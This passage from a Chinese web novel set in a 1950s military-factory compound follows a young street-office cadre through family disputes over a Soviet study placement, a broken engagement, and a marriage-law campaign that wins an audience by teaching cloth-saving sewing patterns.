孙小月捂着脸哽咽:“嫂子,你别怨国栋,要怨就怨我吧,是我对不起你。” “你确实对不起我!你男人走后,我给你送吃的送用的,帮你洗衣服哄孩子,孙小月,你跟赵国栋干出这种事,就不怕遭报应?” 话落,郭二妮毫不客气地给了她几个大耳刮子,见她脸颊迅速肿胀起来,又使尽浑身力气,左右开弓,狠狠甩了赵国栋十几个大巴掌。 做完这些,她停下来平复呼吸,捋了下凌乱的头发,对在场众人说:“街道的领导们,我跟赵国栋的情况,你们也看到了,他已经跟别人结婚了,那就没有不让我另嫁的道理。我今天就要领证结婚!” 始终默不作声的赵振华,终于将那张登记表填完了,听了她的话便直接起身,拿着表格走了出来。 被打得鼻青脸肿的赵孙二人,也在此时发现了他的存在。 看清他的正脸后,孙小月的哭声戛然而止,疑惑地颤声问:“振,振,振华?是你吗振华?” 赵振华抿嘴不言,瞪着人的神情异常阴郁可怖。 他每走近一步,赵国栋和孙小月就后退一步,直到贴上墙壁退无可退了,赵国栋才逼着自己挤出一个笑。 “振华,你什么时候回来的?你还活着可太好了!我们都以为你遇难了……” 赵振华仍是一言不发,双眼直勾勾地逼视二人。 见状,孙小月终于按捺不住心底的恐惧,歇斯底里地喊:“你别过来,别过来,啊啊啊,鬼,鬼啊啊啊啊啊——” 穆主任等人不知赵振华底细,也不知四人关系,全被孙小月的激烈反应弄蒙了。 作为少数了解真相的围观群众,叶满枝义正词严地纠正:“孙同志,咱可不能公开宣扬封建迷信!哪里有鬼?我们怎么没看到?这世上根本就没有鬼,你可别乱喊!” 她双眼茫然四顾,视线总能准确避开赵振华所站的位置,好似根本没看到那里有个大活人。 赵国栋两腿发软,指着赵振华问:“你们看不到他吗?” 刘金宝与叶满枝一唱一和,演技相当浮夸。 “谁啊?你俩看到谁了?要我说,没做亏心事,不怕鬼叫门,即使真有现世报,也没这么快!哎呀,你俩赶紧站起来,别自己吓自己了!” 慌乱间,孙小月以为真的只有他俩能看到赵振华,伸手指着面前的“鬼影”,喉咙里像装了只破风箱似的“嗬嗬”喘着粗气,待她彻底看清赵振华脸上那条狰狞伤疤时,终于尖叫出声,两眼一翻,昏死了过去…… * 街道办组织人手将人送去了医院,而在此次事件中表现格外突出的刘金宝同志,则被处罚打扫办公室两个月。 “明明是你先带头吓唬人的,凭啥只罚我一个?”刘金宝的娃娃脸上全是怨气。 “我哪句话吓唬人了?我让她别搞封建迷信,难道不对吗?”叶满枝捂着鼻子控诉, 9.第 9 章 《五十年代军工大院》全本免费阅读 黄黎如今是邮政所的一名女邮递员,每天穿梭于大街小巷间,兢兢业业做着投递信件和报纸的工作。 相比于中学教师,当邮递员是个体力活,但她能自由使用邮政所的自行车,能看最新最全的各地报纸,最重要的是,免去了教师身份存在的隐患。 这天傍晚,往光明街道办送完信件后,黄黎被叶满枝拦了下来。 “嫂子,你下班以后直接回家吗?” “有事?” “我想去石道街吃美丽豆沙,你不是有自行车嘛,能载我一程不?咱今晚下馆子,我请客!” 黄黎不太想去。 因为剧情的关系,她心里一直提防这个小姑子,两人在一个屋檐下生活了一年,彼此却并不亲近。 叶满枝再接再厉:“穆主任送了我一瓶她自家酿的山楂酒,咱们一块儿喝两杯怎么样?” 黄黎面露迟疑。 最近她压力大到失眠,出去小酌几杯未尝不可。 等她跟叶满堂正式离了婚,也就不用忌惮什么极品小姑子了。 心里有了计较,她扭头问:“我还得往粮站送几封信,你几点能下班?” “现在就能走了!我陪你送信去!” 后座的邮包里还装着十来封未能成功投递的信件,叶满枝捧着山楂酒,兴奋地坐上自行车大梁。 “嫂子,我头一回坐自行车,你可骑稳了!摔了我不要紧,别把咱的山楂酒摔了!” 黄黎无语:“你把酒瓶子放我车后的邮包里,双手攥住车把,别掉下去!” “哇,车上风好大啊!嫂子,我好像飞起来了,啊~~~~” “你小点声吧,路人都在瞅咱俩!” 石道街是正阳区最繁华的一条商业街,商店、旅店、饭店、药铺遍布整条街,食摊和推车挑担的小贩更是从街头排到街尾。 原本还有好些行医卖药、批命算卦的游方郎中,前几个月经过社会主义改造后,销声匿迹了。 叶满枝将人带去了街头的一家小饭馆。 过去叫“福禄寿饭馆”,如今改名叫“公私合营福禄寿大饭店”了。 两人进门时,意外撞见了许久不见的周牧,正与一位短发女生坐在靠近柜台的位置。 叶满枝与他退亲后一直互不搭理。 哪怕在街上遇见了,也是一个脸朝东,一个脸朝西,大路朝天各走一边。 此时她也只当对方是空气,目不斜视地跟服务员点菜。 一道美丽豆沙,一道熘肉段,原本想豁出去再点个熘腰花,服务员却指了指墙上刚贴的标语“为了社会主义建设,节约粮食,人人有责”。 叶满枝还没领工资,不舍得开销太多,于是顺坡下驴,只加了一壶高粱酒。 黄黎不待见小姑子,但也不想见她因为偶遇前男友而尴尬,在窗边入座后,主动挑起话题问:“你常来这里?” “不常来,小时候偶尔会被咱爸带出来解馋。”叶满枝不忘今天这顿饭的目的,笑着回忆,“我那时最喜欢一道虾米豆腐,专挑里面的虾米吃。大姐和三哥也喜欢虾米,大姐对自己喜欢的东西从不谦让,但三哥就总是把虾米夹给我,自己只挑豆腐吃。” 她的五个兄姐,曾经来自两个不同的家庭。 大姐能言善辩,争强好胜,在那个动荡年月的多子女重组家庭里,她想要的东西几乎都能争取到。 二姐内向讷言,温柔勤快,勤快到出嫁时继母主动给她陪嫁了一台缝纫机,当时整条街只有一户人家有私人缝纫机。 至于三个哥哥嘛,一个情圣,一个纨绔,还有一个财迷。 “嫂子,我三哥从小到大都是做的多说的少,对他在意的人能掏心掏肺的好。你俩之间除了留苏分歧,好像也没什么矛盾,就这样离了你不可惜啊?” 黄黎摸着酒杯,意兴阑珊道:“你哥留苏就是我们之间最大的矛盾。” 她穿来当天,就与相亲认识不足俩月的叶满堂结了婚,勉强算是先婚后爱。 对这个恋爱脑老公,她内心也有诸多不舍,但她不能明知前面有个大坑还往里跳。 让叶满堂放弃留苏机会确实可惜,可是书中的农场生活,更多的是成全女主的写作事业,艰苦的环境、复杂的人性、肥沃的土地,为女主提供了源源不断的灵感和素材。 离开农场后,有数十部作品被出版发行。 而那时的叶满堂已是快退休的年纪,二十年前所学的技术早已迭代。 去斯大林汽车厂只是实习,不是读大学。与其那样,还不如让他留在厂里稳扎稳打,寻找其他进修渠道,以叶满堂的天赋,未必走不出另一条路。 奈何黄黎劝也劝了,吵也吵了,甚至还用离婚威胁了,都没用。 那就只能真的离了。 “你跟我哥离婚后,有什么打算?”叶满枝问。 “走一步看一步吧,可能会先跟单位申请一间宿舍。” 酒杯相碰时发出脆响,叶满枝被一大口高粱酒辣得红了眼睛,唏嘘道:“要是早知你们会因此离婚,我就不鼓励三哥报名了。当时我体检不合格,一门心思想让三哥通过选拔,大冷天还陪他跑到房顶上背题呢!我都冻感冒了!” 黄黎:“……” 她就知道! 叶满堂敢阳奉阴违,肯定有这搅家精的一份功劳! “算了,你哥签证都快办下来了,说这些还有什么意义。” “哎——”叶满枝再次端起酒杯,红着眼眶说,“嫂子,我哥答应你了又反悔,是他不守信用。咱家人不理解你的选择,有时说话也不太中听。这杯我替他们敬你,给你陪个不是!” 对于黄黎选择离婚,无论娘家婆家还是外人,几乎所有人都不认同,还有人说她离不开男人,恨不得把男人拴在裤腰上。 黄黎心里难受,鼻头也跟着发酸,仰头将杯中酒干了。 这顿饭有点散伙饭的意思,姑嫂俩谈兴渐浓,推杯换盏,一瓶山楂酒和两壶高粱酒很快就见了底。 叶满枝面色绯红,大着舌头倾诉:“嫂子,咱俩都被留苏害得不轻,你跟我哥离婚了,我跟周牧那个王八蛋也退了婚。我跟你说嫂子,嗝——” 见她有了醉意,黄黎连忙按住她伸向酒壶的手。 叶满枝避开,带着酒气说:“周牧那个混蛋,不想跟我一起留苏,他不直说,他竟然敢帮着外人一起害我!你见过这种混账吗?” “没有,没有,你小点声。”黄黎往周牧那桌瞅了一眼,与他目光相遇后,又若无其事地转向别处。 “我不怕人听!我这人有骨气,退婚就退婚,我不要他们家补偿给我的工作。但我哥的留苏名额,是绝不能让的!虽然周牧他爹给我哥走了后门,可我哥也是凭自己实力选上的啊!” 黄黎倏地停下动作,之前还有些涣散的眼神逐渐清明,紧盯着醉醺醺的小姑子问:“你哥不是凭实力考上的吗?怎么还要周家走后门?” “嗝——”叶满枝又打个酒嗝,像在思考她的问话,慢半拍地反问,“你知道留苏要求几年工龄不?” “三年吧?” “对啊,三年。”叶满枝抱着酒壶傻笑,“我哥工龄满三年了,但进厂的第一年,他是学徒工!正式工龄才两年,考试的时候却把那些七八年工龄的老资格都比了下去!我哥厉害吧?” 她话里透露的信息,让黄黎胸口砰砰直跳。 不同工厂计算工龄的方式不一样。 有的会把学徒时间也算进工龄,有的则必须从当正式工人那一天算起。 六五六厂发出的留苏选拔通知,并没对工龄做专门解释。 以叶满堂的情况,能否留苏其实在两可之间。 如果有厂领导替他说话,凭他的业务能力,自然会被选进大名单。 可是,现如今叶周两家已经退了亲,叶满堂明面上最大的靠山没了,一旦有人拿工龄做文章,他这留苏名额还真未必保得住! 僧多粥少,盼着出国深造的青工,能从车间排到厂大门呢! 黄黎还想询问更多细节,叶满枝却早已趴上饭桌,醉得跟打了全麻似的。 对于三嫂所“说”的“出国会变得不幸”,叶满枝心里始终半信半疑,这已经完全超出了她现有的认知。 若让她亲手毁掉三哥的前途,她过不了自己心里那一关,只能把自己灌醉,将选择权交给三哥的另一半,由她来决定他们夫妻的未来。 …… 黄黎瞅瞅醉死过去的小姑子,又看看空掉的酒壶,面无表情地拿起筷子吃菜,在心里琢磨着叶满堂的工龄问题。 又独自思考了一个多钟头,眼见天色从橘红变成深灰,再不回家就要赶夜路了。 喊了叶满枝几次没能得到回应后,黄黎跟服务员借了两根麻绳,准备将这醉鬼捆到自行车大梁上带回家。 始终关注着她们的周牧赶上来说:“三嫂,我送你们回去吧?” “不用了,你俩不是绝交了么,那就各自安好,别再有牵扯了。” “我没别的意思,就是帮你搭把手。毕竟她醉成这样,跟我也有些关系。” 要不是看到他与别的女生吃饭,叶满枝也不会被刺激得借酒浇愁了。 黄黎不想与他在马路上纠缠,索性道:“ 10.第 10 章 《五十年代军工大院》全本免费阅读 如果尴尬能发酵,那此刻的叶满枝绝对是最松软的发糕。 不知吴峥嵘是从哪里看出的端倪,可她若是继续装醉,不免显得小家子气。 那将比尴尬更令她难以释怀。 因此,成熟的智慧和发麻的左腿,让叶满枝快速有了决断—— 按照他说的,换了一个姿势睡! 吴峥嵘好笑地扬起唇角,照顾着她的面子问:“今天是什么好日子,怎么醉成这样?” “咳,不是什么特殊的日子,”叶满枝轻咳一声,睁开眼睛解释,“穆主任让我代表街道办跟我嫂子谈谈,我觉得有酒有肉才好谈事情,就在饭馆请了客。” “穆主任要是多给你安排几个工作,你岂不是隔三差五就要醉一回?” 叶满枝讪讪道:“那倒不至于,今天是特殊情况。” 虽说如今社会风气开放了,女同志也能随意出入酒馆饭店俱乐部,可是像她这样喝趴下的还是很罕见的。 吴峥嵘回头瞅了一眼,见她脸颊酡红,眸光熠熠,不由出言提醒:“这一带最近不太安生,你们夜晚出门要多加小心。” 叶满枝连忙问:“咱们这里出什么大事了吗?” 街道办跟派出所紧挨着,若是真有什么风吹草动,她不可能没听到风声啊。 “厂里准备向南扩建,需要征用陈家屯东面的那片土地,附近群众的抵触情绪比较大。” 叶满枝凝神回忆了一下陈家屯的位置,疑惑问:“我记得那一片好像是坟场吧?” “对,那里有三千多座荒坟。” “……”叶满枝喃喃道,“难怪人家要抵制,虽说那里有荒坟,但咱们这一带很多故去的老街坊也葬在那里,厂里要是把那块地挖了,大家肯定不乐意呀!” 656厂建在城市的最南端,属于城乡结合部,过了光明街就出城了。 工厂若想扩大规模,必然要向乡镇扩建,但是扩建到坟地上,是她万万没想到的。 “最近有不少人来厂里抗议,晚上还有群众巡逻队在附近游荡,这种局面混乱的时候,很容易被人钻空子。”吴峥嵘冷眉肃目地说,“想喝酒你们就在家喝,晚上尽量不要外出。” “啊,我平时不喝酒的。”叶满枝引用三嫂的话为自己正名,“今天是我请客,只喝了一点点山楂酒而已。” “你自己闻闻。” “闻什么?”叶满枝嗅了嗅鼻子。 吴峥嵘冷静地陈述事实:“车厢里全是高度白酒味。” 常年混迹在男人最多的地方,他连对方喝的是什么酒都能闻得出来。 “哎呀,你,你,你……”叶满枝尴尬得你了半天,愣是没能你出个所以然来。 她喝了将近四两的高粱酒,是无可辩驳的事实,这还真没什么可说的。 发现她脸颊和脖子变得愈发嫣红,吴峥嵘难得反省了一下,是不是把话说重了。 后面的叶满枝又忽地冒出一句:“您可真是明察秋毫!捷尔任斯基也不过如此了!”[1] 吴峥嵘:“……” 那倒不至于。 “除了穆主任送的山楂酒,我俩还喝了一点高粱酒。不过,那饭馆里的散装酒好像掺了水,酒劲儿没多大。” 吴峥嵘眼里沁出笑意,“你还知道散酒能兑水呢。” 看来已经喝出经验了。 “是我四哥说的。” “嗯。” 车厢里再次陷入安静。 吴峥嵘坐在前面,恍然记起那天答应过小姑,会尽量争取这位小叶同志。 他拧眉出了会儿神,忽然鬼使神差俯下身,把他刚从军区领导那里顺来的茅台,从座椅缝隙间摸了出来。 “石道街那一带的饭馆,大部分酒缸里都掺了水,这个你拿回去喝吧。” 叶满枝:“……” 她手足无措地接住酒瓶,深刻怀疑自己还没醒酒。 谁会给女孩子送酒喝啊? 吴峥嵘不会真把她当成酒鬼了吧? “吴团长,这个太贵重了,我不能要。”叶满枝连忙将瓶子推回去。 她没喝过茅台,但也知道这酒有市无价,都是特供的。 “你拿着吧,我不怎么喝酒。”吴峥嵘认为自己这是投其所好,心情不错地说,“有的酒馆会以次充好,劣质酒喝多了伤身体。你们最近尽量少在晚上出门,想喝就在家喝点好的。” 叶满枝:“……” 果然把她当成酒蒙子了。 她捧着酒瓶,并没自作多情地往男女关系的方向联想。 他俩相过亲,但双方都委婉表明了态度,没有那方面的意思。 可是,看吴峥嵘气定神闲的样子,也不像是因为无情戳穿她而良心发现的。 她径自胡思乱想着,假设了各种可能后,最终决定将这瓶茅台留下。 “那就多谢吴团长了,有机会让我爸请您喝酒行不?” “行啊。” 叶满枝暗自舒了口气,透过车窗发现了三哥的身影后,与吴峥嵘礼貌道别,便独自推门下车了。 她今天虽然喝的有点多,但脑袋瓜的转速依然保持了一贯的高水准! 因着她跟周牧解除婚约,老叶在厂里的处境有点微妙。 按照各车间完成生产任务的进度,上半年的先进集体和个人,本该有老叶所在的车间一份,可是真正评奖的时候,厂领导却以有人上班迟到一刻钟为由,将奖项取消了。 老叶没说什么,但她觉得亲爹被人针对了。 在她想来,厂领导多的是,没了周振业,还有其他人。 老叶完全可以借着还人情的机会,与吴团长走动起来。 一瓶茅台那么贵,他不得多请几顿才能还完人情嘛! 来往的次数多了,关系也就拉近了。 她不求吴峥嵘帮老叶说话,只要不被人刻意针对,以老叶的技术水平,日子还是很好过的! * 那天过后,656厂要扩建征地的消息渐渐传开了。 迁坟的话题,让军工大院里的许多本地户骚动了起来。 楼道里时常有上了年纪的职工家属相互串门,偷偷摸摸找人推荐靠谱的大师或仙姑。 老叶家的祖坟在农村,这次扩建征地对叶家没什么影响。 然而,几天后,厂办突然发出的一则公告,却让叶家炸了锅! 即将启程去斯大林汽车厂实习的叶满堂,那个让叶家祖坟冒青烟的叶满堂,留苏资格居然被厂里取消了! 这跟挖叶家祖坟有啥区别? 听到风声的叶家大伯和大伯母,连夜赶来了军工大院。 “不是说下个月就能出国了吗?怎么这时候被人撸下来了?” “有人向厂里实名举报,说我实际工龄不符合留苏要求。” “那你工龄到底符不符合要求啊?”大伯夫妻齐声问。 “以前符合,现在不符合了。” 厂人事处前天发了一份通知,其中有一条对工龄做了具体解释。 按照它的解释,叶满堂的正式工龄只有两年,不符合留苏要求。 而通知发出的第二天,他就被一个连名字都没听过的老工人实名举报了。 这明显是有人为了这个留苏名额故意为之的。 叶大伯拍着桌子说:“我当初就说过,三丫头的婚事要慎重,你们偏不听,急慌慌地把婚退了。现在连满堂也被她连累,好好的出国名额让人给撸了!” “大伯,规定是厂里改的,跟老幺有啥关系?” 相比于家人的焦头烂额,叶满 11.第 11 章 《五十年代军工大院》全本免费阅读 叶满枝并不想与周牧及其家庭过多纠缠,就像三嫂说的,既然分手了就各自安好,别再有多余的牵扯了。 她今晚还要参加街道组织的群众大会,三言两语将周牧打发了,便匆忙赶往子弟小学。 最近市里正在推进“婚姻法宣传月”运动,各区县和街道都要进行轰轰烈烈的空前大动员。 光明街的大部分居民是656厂的职工和家属,这些人来自五湖四海,有着不同乡音,对《婚姻法》的了解也参差不齐,因此光明街道办就成了市里重点考察的几个单位之一。 叶满枝赶到小学时,操场上稀稀拉拉坐了几十个人。 “李大娘,咱居委会提前通知到户了吗?怎么只来这些人啊?” “早就挨家挨户通知了,但这普及婚姻法跟上课似的。人家不想来,咱也不能生拉硬拽啊!在座这些人还是我硬凑的呢!” 叶满枝与陈彩霞面面相觑。 她俩负责协助第五、第六居委会,在基层普及《婚姻法》。 两个居委会管着近五千名居民,这几十个人连零头都不够! 陈彩霞出了个馊主意:“要不咱们各自回家喊点人来凑数?无论如何先把今天的大会应付过去!” 为人民服务的事,距离她俩有点远,两人尚在试用期,争取成为正式街道干部才是关键。 叶满枝望向学校大门,遗憾道:“喊人也来不及了,穆主任来了。” 穆兰环视一圈,对现场的宣传标语和宣传画还算满意,但瞧见到场人数后,还是狠狠蹙了眉。 她是这个年代少有的,受过高等教育的基层女干部,通常不会在外批评下属。 尽管内心很不高兴,仍是给两人留面子说:“今天是你们第一次组织动员,就当是演练吧。你们尽快多想几个办法,提高之后的出席率,务必让《婚姻法》家喻户晓,深入人心!” 话落就径自走上主席台讲话,援引工作中见到的真实案例,强调在婚姻中打骂、迫害妇女的后果,现场气氛很好,可惜人还是太少了。 叶满枝心里怪不是滋味的,感觉白白浪费了穆主任的心血。 第二天到了单位,她和陈彩霞就像担心同桌考第一的差生,见到刘金宝便问:“你们在第三、第四居委会那边的情况怎么样?” “不怎么样,只来了四十多人,张副主任把我俩训了一顿。说我俩只顾着烫头发描眉毛了,对工作不上心。” “没事,我们这边也不理想,咱再想想办法。” 刘金宝叹气:“我听庄婷说,这种自愿参加的宣讲活动,出席率都不高,咱着急也没用。” 几个菜鸟相互鼓励一番,让彼此心里都好过了不少。 叶满枝心想,活动要持续一个月呢,时间还是很充裕的。 然而,刘金宝那个娃娃脸,刚劝她们别着急慢慢来,扭头就联系了一个曲艺团,在粮库前的空地上组织了一场露天曲艺演出! 这个年代没什么大众娱乐活动,哪怕生活在城里,很多人也是天黑就睡觉的。 演出当天虽不至于万人空巷,但也差不离了。 陈彩霞急得牙疼,捂着腮帮子问:“小叶,咱俩怎么办啊?要不我去联系一下放电影的?” 在一旁看报纸的凤姨讥诮道:“你们这些年轻人,一个两个的都挺大方,来上班还倒贴钱。咱们街道可没有这笔费用,甭管是曲艺演出还是放电影,都得你们自己掏腰包。” “我听说人家曲艺团没收演出费啊!” “不要演出费,但必须管饭,吃饭喝酒的钱不是钱?那么多人得消耗多少粮食?” 叶满枝拉过陈彩霞的手说:“咱主要目的是宣传婚姻法,看电影起不到宣传作用,再想个不花钱的办法吧。” 她俩的财力跟刘金宝不能比。 早在刘金宝找她做衣服的时候,她就看出那小子有钱了。 人家做新衣服从不看布料价格,只关心上身效果。 叶满枝自觉没啥经济实力搞那种大动作。 可是第五、第六居委会那边接连几天的宣讲活动都没什么水花,除了一些居民积极分子,多数人觉得日子过得挺好,去听什么婚姻法是浪费时间。 工作上成绩惨淡,愁得叶满枝吃饭都不香了。 若是以往,她还能回家征集一下家人的意见,可是因着三哥留苏资格被取消,老叶周身气压低得能冒黑水。 她心里有鬼,不敢往老叶跟前凑,所以吃过晚饭就回房缩着了。 “来芽!”四哥在外面敲门,“叶梨花在不在你屋里?” “它又怎么你了?” 连名带姓地喊,八成是小猫又闯祸了。 四哥怒气冲冲道:“它他娘的把我的小青吃了!!!” “不能吧?你要说它把你鱼缸里的鱼吃了还有可能,怎么可能吃蝈蝈呢?” 难怪今天没听到蝈蝈那声嘶力竭的叫声,原来是被梨花干掉了! “怎么不能!全家数它最胖,居然还不肯放过小青!” 叶满桂简直痛不欲生了,那可都是钱呀! “你再找找吧,小猫怎么会干这种事?它不爱吃蝈蝈,可能是蝈蝈自己跑了。” 叶满枝把嘟嘟囔囔的四哥劝走了,回身面对梨花时,板着脸问:“你把蝈蝈藏哪了?” “喵喵喵~”梨花灵活地跳上书桌,优雅地蹲在一摞画册旁边。 叶满枝心中顿生不妙之感…… 画册可是她的发财法宝! 当初的裁缝生意之所以能红火起来,全要归功于这些画册。 她本就喜欢漂亮衣服,为了赚那七毛钱的手工费,更是跑遍全市各大商店,将橱窗里大部分样式好看的春夏新衣都画了下来。 顾客从画册里挑选款式,再去商店买布料,绝对的物美价廉! 她忍着恶心,单手拎起最上面的一本抖了抖。 果然! 一只被拍扁的青黑色铁蝈蝈,啪叽一下掉到了地上! “叶!梨!花!!!” 不待她出手算账,叶梨花先跳窗逃逸了。 * 叶满枝等了它半晚上,始终没见到猫影,临睡前还想着要找机会收拾它一顿。 可是翌日早上醒来,坐在床上怔愣许久后,她突然就回心转意了,抱起半夜溜回来的小猫狠狠亲了两大口。 早饭都没顾得上吃,便一阵风似的飞奔去了单位。 从办公室拿了粉笔,拽上晕晕乎乎的陈彩霞,又快马加鞭返回了军工大院。 “小叶,你要干嘛啊?”立在大院门口的布告栏前,陈彩霞喘着粗气问。 “彩霞姐,咱俩马上就能一呼百应了!” 陈彩霞:“……” 大清早就做梦。 叶满枝掏出粉笔,在布告栏的小黑板上,一笔一划写道:“向大家介绍几种特别省布的剪裁图样!” “特别省布”四个字,还被她用黄色粉笔做了加粗处理。 此时正是早高峰,上班的工 12.第 12 章 《五十年代军工大院》全本免费阅读 省教育厅的一次突击体检,把周家闹得鸡飞狗跳。 周振业收到消息后,扔下工作就跑回了家属院。 “怎么回事?小牧的体格向来很好,怎么可能体检不合格?” 这个儿子出生后,他的事业一路高歌猛进,家里的生活条件也越来越好,儿子从没在吃穿上受过委屈。 要说他会有健康问题,周振业第一个不信。 柳芸在儿子的额头上摸了摸,“他体检前一天有点低烧,没精神,晚饭和早饭都没吃。教育厅又是突然宣布的体检,我估计他当时可能太紧张了……” 周牧仰躺在床上,紧闭着双眼不说话。 他没跟母亲说实话,事实上,体检前他有三顿饭没正经吃。 找叶满枝复合的次日中午,他跟朋友在附近的国营饭店吃午饭,正好瞧见叶满枝跟俩男的走在一起。 一个是烫了头穿着干部服的娃娃脸,另一个是穿着白色制服的年轻片儿警。 每人怀里都抱着一大摞类似购粮本的东西,厚度足有半米高。 而叶满枝穿了件颜色俗不可耐,又莫名其妙有点好看的桃红色衬衫,皮肤白得晃人眼,只在手上提了三个饭盒,扭扭哒哒、花枝招展地走在最中间。 三人有说有笑地从饭店门前经过,有食客出门时差点撞到叶满枝,还被那个片儿警用肩膀挡了一下。 瞥眼瞧见这一幕后,他顿时没了胃口。 再一想到叶满枝说她去相过亲,而且还相中了,刚端上来的一碗馄饨,他只吃了两个就给了旁人。 下午从预科班回来赶上暴雨,他淋雨后有些低烧,晚饭和次日早饭都被他睡了过去。 以他的体格,少吃几顿其实不打紧,回头好好补一顿也就恢复了。哪知事情竟然这么寸,好巧不巧赶上教育厅的突击体检了! 柳芸着急地说:“老周,这低血糖又不是什么大毛病,你看能不能找人疏通一下?” “要是能疏通,之前那些体检被刷掉的算什么?”周振业阴沉着脸,盯着儿子问,“你跟我说实话,体检之前到底发生了什么?发个烧就能让你不吃饭了?” 他直觉这事跟叶家丫头有关。 前几天叶大伯来家里送礼,这小子高兴得跟什么似的,还说可以考虑跟人家复合。 这话才说了没两天,他又偃旗息鼓不再提了。 周牧被问到了痛处,负气地背过身嚷嚷道:“发烧没胃口不行啊?问什么问!你俩烦不烦!” 柳芸气结:“怎么跟你爸说话呢!” “算了,”周振业脸色黑如锅底,“还是先找关系问问体检能不能复核吧。我上辈子真是欠了这个孽障的!” 周家这边愁云惨淡,听到消息的叶家却是另一番景象。 “当初他家敢在你体检单子上做手脚,如今他家儿子也因为体检不合格被刷下去了!哈哈哈……”常月娥畅快大笑,买了二斤排骨加菜。 叶守信也一扫连日阴霾,脸上有了笑模样。 尽管叶满枝内心怀疑,周牧那傻子有可能闹了绝食。 可是周牧这人要面子,如果真是因为绝食把留学资格闹没了,他肯定嫌丢人,宁可承认低血糖,也不会承认绝食的。 无论如何,周家倒霉,对叶家来说算是一件大喜事。 趁着家人心情好,叶满枝邀请常月娥、三嫂和四嫂,一起去子弟小学,听她宣讲婚姻法。 婆媳三人晚上都没什么娱乐活动,欣然应允去给小叶干部捧捧场。 可是,等她们按时赶到学校时,操场东面的大教室里却坐满了人。 门口还有好多女同志在搬椅子找座位。 望着教室里乌泱泱的人群,四嫂沈亮妹喃喃:“我的妈呀,小妹不是说她们那个宣传婚姻法的活动没人来吗,这怎么全是人啊?” 而且一大半都是院儿里的熟面孔。 黄黎指了指黑板,示意她自己看。 然而,沈亮妹没上过学,刚解放那会儿在扫盲班认了几个字,几年不用,又全都还了回去。 黑板上用彩色粉笔写的字,她只认识两三个。 黄黎只好念给她听:“婚姻法宣传月特别活动——为居民们介绍几种特别节省布料的剪裁图样”。 老一辈的女同志大多会点裁缝手艺,能自己动手做的,从不花钱买。 再加上今年国家开始对纺织品进行统购统销,每人每月的布票是定量的,大家总觉得手头的布料不够用。 叶满枝突发奇想组织的这次活动,算是精准抓住了家庭主妇们的迫切需求。 开课的消息一经公布,女同志们立马趋之若鹜了。 此时的叶满枝和陈彩霞都没工夫招呼各自的家人,望着满教室的中老年妇女,以及到处乱窜的孩子们,她俩都有点紧张。 陈彩霞咽了咽口水,小声说:“要是告诉大家,一会儿得先听一段婚姻法宣传,咱们可能会被唾沫淹死吧?” “没事,想想咱俩的干部编制,挨骂也忍了。彩霞姐,一会儿咱分工合作,你负责讲解婚姻法的内容,我负责挨骂!” 陈彩霞被她逗笑:“都什么时候了,你还开玩笑!” 这场活动是由她俩共同负责的,叶满枝要为大家演示剪裁方法,那讲解婚姻法的部分就要落到她肩上了。 以往都是穆主任来讲,今天还是她第一次上台。 陈彩霞心情忐忑地走上讲台敲了敲黑板。 听到动静的居民们,以为要开始介绍节省布料的方法了,逐渐安静下来。 谁知陈彩霞开口就是《婚姻法》,台下的听众顿时就不乐意了。 刚开始顾及小干部的面子,居民们还只是跟身边人抱怨,可是台上人一讲起来就没完没了,便有人直接出声打断了。 “我说小陈干部,布告栏上可是明明白白写着教剪裁,怎么到了这里就变样了?” “就是!” “你们说话不算数,以后谁还敢参加街道的活动啊?” 眼瞅着现场乱了起来,叶满枝与陈彩霞对视一眼,连忙按照两人的约定,拿着粉笔和布料走上讲台,将人换了下来。 她摇头苦笑:“大家是真不给面子,一点也不想听我们宣传《婚姻法》呀!那行吧,既然要求学剪裁,那我先介绍一种咱们女同志最常穿的,关门方领、连袖、贴袋衬衣的剪裁图样。” 为了让最后一排也能看清楚,她把整块黑板当做布料,在上面画出一个巨大的剪裁图样。 见她切入正题了,教室里逐渐恢复安静。 “这还差不多,就应该讲点有用的,你们讲那婚姻法的条条款款有啥用?” 叶满枝停下标注数字的动作,扭头说:“王奶奶,您最应该来听听我们的婚姻法讲座了。您要是早点来听,您闺女那事早就能解决了。” 其他人不明就里,好奇问:“王奶奶闺女怎么了?” 与王奶奶住一栋楼的人帮着回:“她那个姑爷解放前出去行商,七八年没回来过。最近她闺女实在不想等了,准备改嫁,但婆家拦着不让,连孩子都被藏起来了。” 王奶奶的儿媳妇连声问:“小叶干部,我大姑姐这事,你有什么好办法啊?” 叶满枝摇摇头,“大家都想学剪裁呢,你家的事以后再说吧。” “别呀,你有办法就说出来,大家伙帮着参详参详。” “对啊,小叶干部,咱都帮帮忙!” “好吧,”叶满枝不再拿乔,扔下粉笔说,“王奶奶,这事的关键不在她婆家人。” “那啥是关键?” “关键是先确认您女婿的生死呀!他要是死了,那您闺女婚嫁自由,别人管不着。若是活着,就要夫妻二人一起出面办离婚手续。结婚离婚都是两个人的事,与她婆家不相干,他们说什么都没用。” “问题就在这呢!刘志国一走七八年都没音讯,谁知他是死是活!”王奶奶急忙问,“这人一直不出现,政府就不给办离婚证,小叶干部,你有啥办法?” “这就要看您女儿的决心了,如果她铁了心想离开婆家,那就向法院申请离婚。到时候法院会登报寻找失踪的男人,在规定的一段时间内,他要是一直没有答复,法院会判离的。” 王奶奶连连摇头,“一场官司三代仇,哪个好人家去法院啊?” “所以,我才问您闺女是不是铁了心想改嫁。” 街道办每周一三五要开学习会,为居民宣讲的同时,他们这些小干部也要坚持学习。 王奶奶女儿的情况与她们学过的一个案例差不多,最后只能求助法院。 叶满枝拍拍手,打断教室里嗡嗡的议论声,笑着说:“类似的情况,咱们街道办遇到过不少,还有非婚生子的抚养问题啦,童养媳在男人参军后能不能找对象啦……不过咱们今天是给大家介绍剪裁图样的,我就不耽误大家时间了。” 妇女们听得津津有味,还想让她讲讲童养媳呢,结果小故事戛然而止,人家不讲了! “好啦好啦,我来说说这件女式衬衫啊!咱们以花泡泡纱为例,标准身材最多需要3尺7的布,袖口上肩处可以这样开一两寸的缝口,”叶满枝向上伸直手臂,“开了这个缝口以后,咱们抬手臂的时候不至于让衬衫上掀……” “嗯,小叶干部这个办法是不错的,短衬衣确实有这个毛病。”说话的是街道服装生产合作社的一位女师傅。 剪裁方式得到了专业人士的认可,让原本还有些怀疑的妇女重新正视起叶满枝的授课内容。 台下很快就有人举手提问了。 “小叶干部,我要是用棉布做这样的衬衫,需要扯几尺布呀?3尺7还够用吗?” “我用花泡泡纱举例,就是因为它布面最窄,只有1尺92,如果换成棉布绸布,那用料就更少了,标准身材用不了3尺7。” “小叶干部,我看这图样上的领子怎么只有一层啊,单层领能好看吗?” 